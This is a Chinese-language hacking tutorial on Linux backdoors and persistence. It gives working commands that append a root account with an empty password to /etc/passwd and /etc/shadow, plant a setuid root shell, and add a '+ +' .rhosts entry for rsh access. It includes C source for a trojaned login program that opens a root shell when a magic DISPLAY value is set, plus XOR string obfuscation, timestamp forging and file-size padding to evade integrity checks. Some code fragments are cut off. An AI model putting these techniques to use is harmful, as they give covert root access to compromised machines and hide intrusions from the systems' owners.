黑客高级技巧之Linux后门技术及实践

增加超级用户账号 
破解/嗅探用户密码 
放置SUID Shell 
rhosts + + 
利用系统服务程序 
TCP/UDP/ICMP Shell 
Crontab定时任务 
共享库文件 
工具包rootkit 
可装载内核模块(LKM)

# echo "e4gle:x:0:0::/:/bin/sh" >> /etc/passwd 
# echo "e4gle::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

# cp /bin/bash /dev/.rootshell 
# chmod u+s /dev/.rootshell

rhosts + + 

# echo "+ +" > /.rhosts 
# rsh -l root victim.com csh -i

TCP/UDP/ICMP Shell

- 清除日志中的登录记录 
- 伪装校验和 
- 替换netstat、ps等网络工具 
- 后门登录程序易于安装和使用

实例：login后门

#include  
#define PASSWORD "passWORD" 
#define _PATH_LOGIN "/sbin/logins" 

main (argc, argv, envp) 
int argc; 
char **argv, **envp; 
{ 
　char *display = getenv("DISPLAY"); 
　if ( display == NULL ) { 
execve(_PATH_LOGIN, argv, envp); 
perror(_PATH_LOGIN); 
exit(1); 
　} 
　if (!strcmp(display,PASSWORD)) { 
system("/bin/csh"); 
exit(1); 
　} 
　execve(_PATH_LOGIN, argv, envp); 
　exit(1); 
}

bash$ export DISPLAY=passWORD 
bash$ telnet victim.com 
Trying xxx.xxx.xxx.xxx... 
Connected to victim.com (xxx.xxx.xxx.xxx). 
Escape character is '^]'. 
% _

bash$ strings ulogin 
/lib/ld-linux.so.2 
.............. 
DISPLAY 
/sbin/logins 
passWORD 
/bin/csh

#include  
main(int argc, char *argv[]) 
{ 
if (argc != 3) { 
printf("usage: %s  \n", argv[0]); 
exit(1); 
} 
printf("%s\n", crypt(argv[1], argv[2])); 
}

if (!strcmp(PASSWORD, crypt(display,PASSWORD))) 
{ 
system(SHELL); 
exit(1); 
}

char magic[]="\x71\x67\x6d\x7a\x65\x61\x7a"; 
char *de(char *str,char *key) 
{ 
int i=0,j=0,len; 
len=strlen(key); 
while(str[i] != '\0') { 
str[i]^=key[j]; 
j++; 
if(j==len) j=0; 
i++; 
} 
return str; 
} 
void display(char *str) 
{ 
int i; 
for(i=0;i

\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb

Char 
login[]="\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb";

# ls -l /sbin/xlogin 
-r-sr-xr-x root root 19300 Feb 11 1998 
/sbin/xlogin 
# touch -t 199802110000 ulogin 
# _

# ls -l ulogin /sbin/xlogin 
-r-sr-xr-x root root 7542 Feb 11 1998 ulogin 
-r-sr-xr-x root root 19300 Feb 11 1998 /sbin/xlogin 
# bc 
19300-7542 
11758 
# dd if=/sbin/xlogin of=/tmp/t bs=11758 count=1 
1+0 records in 
1+0 records out 
11758 bytes transferred in 0.000379 secs (31016746 
bytes/sec) 
# cat /tmp/t >> ulogin

# rpm -V util-linux